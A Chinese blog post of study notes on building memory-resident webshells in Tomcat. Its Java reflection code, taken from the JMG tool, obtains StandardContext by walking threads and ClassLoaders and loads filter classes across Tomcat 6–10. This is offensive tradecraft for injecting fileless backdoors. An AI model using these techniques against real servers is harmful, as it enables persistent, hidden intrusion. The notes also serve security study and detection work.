Memshell再研究之Tomcat
2024-08-09 18:24:48

之前学习的通过反序列化或者其他能够代码执行的内存马回显技术,在一定版本下以及一定实验环境下,已经足够好用。但是问题在于如果我们放到JDK11或更高版本,以及实战情况下,这个时候内存马构造的代码就不够看了,并且在大多数攻防情况下,注入一段内存马还是硬道理。于是这段笔记用来记录我学习JMG和其他实战场景下的内存马构造。

获取StandardContext的思路总结

目前存在如下方法:
1.从request对象反射出ApplicationContext,然后获取StandardContext。问题在于如何获取request。一是通过ThreadLocal属性获取,而是通过global属性获取。这个方法如果在JDK8下是完全没问题的,由于我个人能力原因JDK11下某些反射之后得到的对象不能够强转的问题而搁置。如果存在能够解析JSP的情况,这个方法就能够快速获取到request对象,从而快速获取到StandardContext,之前学习Memshell回显技术就是基于获取request的思路基础上进行的。
2.直接从ContextClassLoader中获取。ContextClassLoader,这里是指WebappClassLoaderBase,具体作用是Tomcat为了隔离每个webservice容器中类加载的问题,所以每个web容器会内置一个ClassLoader。之后就可以调用WebappClassLoaderBase的getResources方法,获取StandardRoot,再通过StandardRoot的getContext方法获取到StandardContext。代码也很简单实现:

1
2
3
4
5
6
7
ClassLoader webappClassLoader=Thread.currentThread().getContextClassLoader();
Field webResourceRootfield=org.apache.catalina.loader.WebappClassLoaderBase.class.getDeclaredField("resources");
webResourceRootfield.setAccessible(true);
Object standardRoot=webResourceRootfield.get(webappClassLoader);
Field standardfield=Class.forName("org.apache.catalina.webresources.StandardRoot").getDeclaredField("context");
standardfield.setAccessible(true);
Object standardContext=standardfield.get(standardRoot);

不过肯定还能再简化。
3.遍历线程,去寻找存有standardContext的线程,并层层获取到standardContext或者它的子类–TomcatEmbeddedContext。其实遍历线程并不仅仅只有这么一个作用,在遇到了snakeyaml的ScriptEngineManager形式的加载内存马时,由于ScriptEngineManager在初始化SeviceLoader用于加载服务类时,会单独指定一段 ClassLoader(该 ClassLoader 没有明确设定 Tomcat 的类路径) 并且开一段新线程用来加载,这就导致我们执行构造内存马的代码时,如果存在Class.forName这种需要ClassLoader进行类加载的时候,光秃秃的 URLClassLoader 可定加载不到指定的 Tomcat 类的情况。
所以遍历线程获取StandardContxt的方法是最实用的,也是我本次学习的重点。

有几点详情:getFV 是通过反射将值取出,getF 是反射获取到对应值的 Field,以及 invokemethod 也是通过反射调用的

详解遍历线程获取StandardContext

具体的代码实现,这是我从JMG中得到的获取Context的具体方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public Set<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
Set<Object> contexts = new HashSet();
Thread[] threads = (Thread[])invokeMethod(Thread.class, "getThreads");
Object context = null;

try {
Thread[] var4 = threads;
int var5 = threads.length;

for(int var6 = 0; var6 < var5; ++var6) {
Thread thread = var4[var6];
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap)getFV(getFV(getFV(thread, "target"), "this$0"), "children");
Iterator var9 = childrenMap.keySet().iterator();

while(var9.hasNext()) {
Object key = var9.next();
HashMap children = (HashMap)getFV(childrenMap.get(key), "children");
Iterator var12 = children.keySet().iterator();

while(var12.hasNext()) {
Object key1 = var12.next();
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}

if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
}
}
} else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}

if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
}
}

return contexts;
} catch (Exception var14) {
throw new RuntimeException(var14);
}
}

总体其实就两个部分,一个是for循环遍历整个线程,二是判断当前遍历的线程是否为ContainerBackgroundProcessor,以及当前线程下的ClassLoader是否为ParallelWebappClassLoader或TomcatEmbeddedWebappClassLoader。
我们一个一个来说:

0x01 ContainerBackgroundProcessor

抛开它在 Tomcat 中的作用,单论内存马构造,如果是 Tomcat678 的版本,ContainerBackgroundProcessor 是我们第一首选获取到的线程。(tomcat9 中它并不是不起作用了,而是从线程中获取不到了)
具体作用:

Tomcat的Engine会启动一个线程(就是ContainerBackgroundProcessor),该线程每10s会发送一个发送一个事件,监听到该事件的部署配置类会自动去扫描webapp文件夹下的war包,将其加载成一个Context,即启动一个web服务。同时,该线程还会调用子容器Engine、Host、Context、Wrapper各容器组件及与它们相关的其它组件的backgroundProcess方法。

功能决定了它其中必定封装了 StandardContext
image.png
如何去取呢?我们观察上面这张图的取值结构,ContainerBackgroundProcessor 名称的 thread 中,属性值 target 封装了 ContainerBackgroundProcessor,将它取出之后,此时的 ContainBase 的具体实现是 StandardEngine,也就是说我们此时通过取出 ContainerBackgroundProcessor 的外部类,就能取到 StandardEngine,之后就是 StandardEngine->StandardHost->StandardContext 的顺序取出了
在 JMG 生成的 getContext 的具体代码中,具体就是第一段 if 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
HashMap childrenMap = (HashMap)getFV(getFV(getFV(thread, "target"), "this$0"), "children");
Iterator var9 = childrenMap.keySet().iterator();

while(var9.hasNext()) {
Object key = var9.next();
HashMap children = (HashMap)getFV(childrenMap.get(key), "children");
Iterator var12 = children.keySet().iterator();

while(var12.hasNext()) {
Object key1 = var12.next();
context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}

if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
}
}

0x02 Tomcat9 之后的路

之后就是 Tomcat9 版本之后的内容,ContainerBackgroundProcessor(standardEngine) 无法通过遍历线程获取到了,但是此时我们有另一种方法,就是直接判断该线程的 ContextClassLoader 是否为ParallelWebappClassLoader或者TomcatEmbeddedWebappClassLoader,然后再根据老一套的 ContextClassLoader->ContextRoot->StandardContext 逻辑将 context 取出。这里其实还有一条路,就是通过Acceptor 的线程去拿 StandardContext。这个方法固然很好,但是问题在于,如果遇到了 Snakeyaml 的 ScriptEngineManager 中指定的 ClassLoader 是 URLClassLoder,就加载不到一些重要的类,所以我们很有必要获取到一个能够完成绝大部分类加载的 ClassLoader,ParallelWebappClassLoader``TomcatEmbeddedWebappClassLoader都是这样的 Loader,并且他们还能拿到 Context
JMG 中的具体的代码如下:

1
2
3
4
5
6
7
8
9
10
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}

if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
contexts.add(context);
}
}

之后还需要注意的一点就是 Class.forName 加载 Tomcat 类的时候,一定要指定 ClassLoader。

tomcat 版本不同中关键组件的获取

具体的实现代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ClassLoader catalinaLoader = this.getCatalinaLoader();
try {
if (this.classLoader == null) {
this.classLoader = Thread.currentThread().getContextClassLoader();
}

filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef", true, this.classLoader).newInstance();
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap", true, this.classLoader).newInstance();
} catch (Exception var19) {
try {
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, this.classLoader).newInstance();
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, this.classLoader).newInstance();
} catch (Exception var18) {
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance();
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance();
}
}

org.apache.tomcat.util.descriptor.web主要适用于 tomcat9 之后
org.apache.catalina.deploy主要适用于 tomcat8 以及之前较老的版本
还有一些关键组件,因为版本不同,比如 javax.servlet.Filterjakarta.servlet.Filter,具体就是 tomcat9 之前和 tomcat9 之后的 tomcat10 的版本不同,导致报名不同的问题,处理的逻辑如下:

1
2
3
4
5
6
7

Class clazz;
try {
clazz = Class.forName("javax.servlet.Filter", true, this.classLoader);
} catch (Exception var16) {
clazz = Class.forName("jakarta.servlet.Filter", true, this.classLoader);
}